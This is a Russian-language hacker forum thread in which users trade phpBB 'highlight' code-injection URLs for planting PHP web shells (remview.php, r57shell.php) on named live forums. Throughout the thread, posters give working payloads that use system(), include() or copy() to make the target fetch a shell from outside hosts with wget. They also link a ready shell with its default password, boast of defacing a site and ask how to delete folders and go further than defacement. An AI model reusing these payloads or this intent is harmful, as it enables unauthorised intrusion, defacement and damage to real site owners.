|
Вопрос про заливку шелла через уязвимость в highligh
Есть форум http://bomg.ru/forum/
Пробывал загрузить в него remview.php этими способами: viewtopic.php?p=1&highlight=%2527.$poster=%60$ls%6 0.%2527&ls=wget%20http://........../remview.php viewtopic.php?p=3906&highlight=%2527.$poster=`wget %09http://.........../remview.php`.%2527 viewtopic.php?=http://............./remview.php%00&t=1&highlight=%2527.include($_GET[44]).%2527 и не один из них не подошол, а какие еще способы есть? |
viewtopic.php?xxx=wget%20http://supershish.narod.ru/remview.php&p=12&highlight=%2527.system($_GET[xxx]).include%2527
|
viewtopic.php?10=wget%20http://.........ru/remview.php&p=12&highlight=%2527.system($_GET[/images/avatars/]).include%2527
Не так тоже не хочет! |
Люди че такое????
http://bomg.ru/forum/remview.php :confused: Че я такое сделал? Мля, я щас повещусь! |
такой баг мной был так же замечен на других хостах. юзай тогда проще:
http://rredial.narod.ru/r57shell.php тока пароль в теле проги поменяй (сейчас он и усер и пас 1234) |
спасибо, похоже работает!
Только не как не пойму как ей пользоваться? |
а че это ваще такое?
|
|
МАЛАДЕЦ!!!
|
блин, уже страницу удалилит!!!!!!!!
|
А есть какой нибуть еще шел???
|
а оно надо??? remview.php суперская вещь =)
|
Не спорю но он не коректно работает!
|
rsha a ti kakim sposobom zalil tuda shell ya vot dosehpor nikak nemogu zalit shell na http://obshaga.com
|
Заливал так:
/viewtopic.php?a=http://salogta.narod.ru/remview.php&b=remview.php&t=1&highlight=%2527%252e copy($_GET[a],$_GET[b])%252e%2527 |
Ну а всетаки, какой нибуть другой шел есть?
|
дык... вроде заливать нужно какой-либо командой =) wget к примеру... или я не прав?
|
Ну не знаю, у меня так получилось только шелл почти не фига не работает! :(
|
А ака нибуть папку можно удалить???
|
http://kneu.net.ua/forum/viewtopic.php?p=45&xxx=http://salogta.narod.ru/remview.php&highlight=%2527.include($_GET[xxx]).include%2527 - посмотрите че за фигня получаеться... эт че такое блин? :D
|
хмм... ти рмивиев качал с этого сайта?
|
Помойму да (точно не помню), и эта фигня у меня уже не в первый раз!
|
Взломал один сайт и вот что там написали:
Колонка редактора С нашим любимым сайтом позабавлялась одна нискосортная единица рода человеческого. Причем, скажу вам честно, крайне невовремя. Хоть на выходных ерундой страдал бы чтоли? Некоторое время будут недоступны несколько разделов. Но нет причин к беспокойству — у сайта есть бекап. Так что это вопрос времени. Всем спасибо, даже тебе, дурачек. Буду знать, что мир не без мудаков. ___________________________________________ Он меня обидил! Хотябы поблагодарил за то что я сломал его дерьмо... ;) |
Люди, ну чего такое блин, ну не хочет:
http://kneu.net.ua/forum/viewtopic.php?t=14&xxx=http://salogta.narod.ru/remview.php?c=d&d=/usr/local/psa/home/vhosts/kneu.net.ua/httpdocs/forum/images/avatars/gallery&highlight=%2527.include($_GET[xxx]).include%2527 Ну кто знает что я не правильно делаю??? |
ты не дописал имя скрипта...
И вообще, запрос ошибочный! Такой надо юзать! viewtopic.php?a=http://твой_ремотер&b=твоё_имя_файл а&t=1&highlight=%2527%252ecopy($_GET[a],$_GET[b])%252e%2527 |
Ну не получаеться даже таким способом!
http://kneu.net.ua/forum/viewtopic.php?a=http://salogta.narod.ru/remview.php&b=help.php&t=14&highlight=%2527%252eco py($_GET[a],$_GET[b])%252e%2527 Смотри- http://kneu.net.ua/forum/help.php |
При загрузки пишет - Warning: copy(help.php): failed to open stream: Permission denied in /usr/local/psa/home/vhosts/kneu.net.ua/httpdocs/forum/viewtopic.php(1104) : regexp code on line 1 :confused:
|
дык.. у меня такая же проблема.. вточности... тоже самое пишет =(((
может не правильный ремвиев? так как когда только появилось видео.. я брал ремвиев с сайта www.supermegalox.narod.ru/remview.php и ВСЁ РАБОТАЛО !!! (но сейчас по-моему сайт прикрыли) мож на античатовском ремвиеве надо что-то подправить? |
Может!
Я скачивал и з других сайтов шелл и он тоже не работал.. Так что ктонибуть дайте работающий remview.php! плизззззззззз. :D |
А мне вобще почемуто не один файл не залить..
|
remview.php- а как можно загрузить не в корневую папку а например в папку с аватарами?
|
Какой коммандой можно посматреть какие пипки открыты на запись??
|
ну залил я remview ,да ftp доступ есть ,кроме дифейса что можно еще предпринять
|
Цитата:
|
| Время: 20:38 |